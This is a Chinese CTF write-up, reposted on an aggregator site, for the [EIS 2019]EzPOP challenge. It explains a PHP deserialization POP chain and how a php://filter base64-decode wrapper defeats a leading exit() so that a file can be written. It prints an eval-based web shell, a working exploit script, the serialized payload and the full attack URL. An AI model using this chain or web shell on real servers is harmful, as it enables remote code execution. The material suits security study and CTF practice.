php://filter绕过死亡exit

news/2025/1/1 14:16:54/

文章目录

    • php://filter绕过死亡exit
      • 前言
      • [EIS 2019]EzPOP
        • 绕过exit
      • 参考

php://filter绕过死亡exit

前言

最近写了一道反序列化的题,其中有一个需要通过php://filter去绕过死亡exit()的小trick,这里通过一道题目来讲解

[EIS 2019]EzPOP

题目源码:

<?php
error_reporting(0);class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip(['path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {if (is_array($object)) {$contents[$path] = array_intersect_key($object, $cachedProperties);}}return $contents;}public function getForStorage() {$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);}public function __destruct() {if (!$this->autosave) {$this->save();}}
}class B {protected function getExpireTime($expire): int {return (int) $expire;}public function getCacheKey(string $name): string {return $this->options['prefix'] . $name;}protected function serialize($data): string {if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return true;}return false;}}if (isset($_GET['src']))
{highlight_file(__FILE__);
}$dir = "uploads/";if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);

刚开始看到这题很懵逼,我们这里反过来讲,首先容易看出,这段代码应该是需要我们写一个shell进去

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

我们溯源一下filename和data的值是从哪里传过来的:

$filename = $this->getCacheKey($name);
$data = $this->serialize($value);

可以看到,这两个值是从函数:public function set($name, $value, $expire = null): bool的形参中传过来的,如何调用set()方法呢?我们需要注意到:A::__destruct()

A::__destruct() -> save() -> set()

set()会被A的变量store调用,所以store就需要传递一个B类的对象。而A调用set()传递了三个参数:

set($this->key, $contents, $this->expire) ,其中key在构造方法中赋值,$contents在哪来呢?

$contents = $this->getForStorage() -> $this->cleanContents($this->cache)

$this->cache变量传入cleanContents()返回,最终通过json串形式返回给$contents

其实getForStorage()cleanContents()没什么用,这里不用管,$expire也没什么用

经过分析,我们知道在A类中,$key传入的是写入文件的名字,$cache可以最终传给$contents,然后当作文件内容写入,$store存储B类对象,$complete、$expire为空值即可

这样我们能够确定B类set()file_put_contents()的两个变量了,但是怎么绕过exit()?不绕过写了shell也没用

这里通过 p神文章 学习了通过php://filter绕过

我们可以使用该php://filter的base64-decoderot13strip_tags等过滤器来绕过,这里我们使用base64-decode:

绕过exit

如果我们在写入文件的前面有exit(),例如:

<?php
$filename=$_POST['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();?>'.$content);

我们这里$filename $content 都是可以控制的,于是我们可以使用php://filter/write=convert.base64-decode/

当我们的$filename为:php://filter/write=convert.base64-decode/resource=shell.php

PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== 是<?php @eval($_POST[1]);?>的base64编码

并且$content: xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

那么就可以进行绕过,shell.php:

^+q<?php @eval($_POST[1]);?>

这是什么原理呢,当我们文件名是php://filter伪协议,并且进行base64解码时,就会将写入文件内容的数据进行一次base64解码,于是原来的<?php exit();?>经过解码后就失效了,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==经过解码就形成了一句话木马。

为什么这里$content前要加一个字母x?因为base64解码是4个一组,<?php exit();?>为15个字符,加上一个刚好凑够16个,不干扰后面的base64解码

知道绕过exit就简单了,我们可以将一句话木马base64编码两遍,传给A::cache变量,然后设置一下B中的options数组:

$this->options = array('serialize'=>'base64_decode','expire'=>'123');

这样B中的data就是,经过了一个base64解码后的值了

$data = $this->serialize($value);

然后在php://filter是base64解码两次,写入了shell.php

我们编写exp:

<?phpclass A
{protected $store;protected $key;protected $expire;public $complete;public $cache;public function __construct(){$this->store = new B();$this->key = "php://filter/write=convert.base64-decode/resource=shell.php";$this->expire = null;$this->complete = "";$this->cache = array("YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09");}}class B
{public $options;public function __construct(){$this->options = array('serialize'=>'base64_decode','expire'=>'123');}}$a = new A();
echo urlencode(serialize($a));# O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

这里有个点需要注意一下:

image-20230730213721096

在一句话木马一次base64后需要在前面加3个a,让其4个一组

写入:

http://fceb4489-ee1c-434e-a4c4-a760e4026c92.node4.buuoj.cn:81/index.php?src=1&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

image-20230730213844602

参考

谈一谈php://filter的妙用

[EIS 2019]EzPOP


http://www.ppmy.cn/news/993114.html

相关文章

IT职场笔记

MySQL笔记之一致性视图与MVCC实现 一致性读视图是InnoDB在实现MVCC用到的虚拟结构&#xff0c;用于读提交&#xff08;RC&#xff09;和可重复度&#xff08;RR&#xff09;隔离级别的实现。 一致性视图没有物理结构&#xff0c;主要是在事务执行期间用来定义该事物可以看到什…

【LeetCode】解码方法(动态规划)

解码方法 题目描述算法流程编程代码代码优化 链接: 解码方法 题目描述 算法流程 编程代码 class Solution { public:int numDecodings(string s) {int n s.size();vector<int> dp(n);dp[0] s[0] ! 0;if(n 1) return dp[0];if(s[1] < 9 && s[1] > 1) d…

牛客网Verilog刷题——VL49

牛客网Verilog刷题——VL49 题目解析答案 题目 从A时钟域提取一个单时钟周期宽度脉冲&#xff0c;然后在新的时钟域B建立另一个单时钟宽度的脉冲。A时钟域的频率是B时钟域的10倍&#xff1b;A时钟域脉冲之间的间隔很大&#xff0c;无需考虑脉冲间隔太小的问题。电路的接口如下图…

一个女程序员的成长之路

2013年大学毕业了&#xff0c;带着迷茫与好玩&#xff0c;我还年轻的心态&#xff0c;开始在郑州寻觅工作机会&#xff0c;最后很荣幸的在一家小公司入职了&#xff0c;工作的内容是给种植大棚的用户打电话&#xff0c;推销农药。每天就是在网上各种农业平台上面找号码&#xf…

Docker Hub和镜像仓库

目录 前言 创建存储库 推送镜像&#xff08;可选&#xff09; 搜索镜像 拉取镜像 前言 Docker Hub 是 Docker 公司提供的官方公共 Docker 镜像注册表&#xff0c;允许用户存储、分享和获取 Docker 镜像。在 Docker Hub 上&#xff0c;你可以找到许多官方和社区维护的 D…

HEVC 速率控制(码控)介绍

视频编码速率控制 速率控制&#xff1a; 通过选择一系列编码参数&#xff0c;使得视频编码后的比特率满足所有需要的速率限制&#xff0c;并且使得编码失真尽量小。速率控制属于率失真优化的范畴&#xff0c;速率控制算法的重点是确定与速率相关的量化参数&#xff08;Quantiz…

网络安全策略应包含哪些?

网络安全策略是保护组织免受网络威胁的关键措施。良好的网络安全策略可以确保数据和系统的保密性、完整性和可用性。以下是一个典型的网络安全策略应包含的几个重要方面&#xff1a; 1. 强化密码策略&#xff1a;采用强密码&#xff0c;要求定期更换密码&#xff0c;并使用多因…

Unity 工具之 NuGetForUnity 包管理器,方便在 Unity 中的进行包管理的简单使用

Unity 工具之 NuGetForUnity 包管理器&#xff0c;方便在 Unity 中的进行包管理的简单使用 目录 Unity 工具之 NuGetForUnity 包管理器&#xff0c;方便在 Unity 中的进行包管理的简单使用 一、简单介绍 二、NuGetForUnity 的下载导入 Unity 三、NuGetForUnity 在 Unity 的…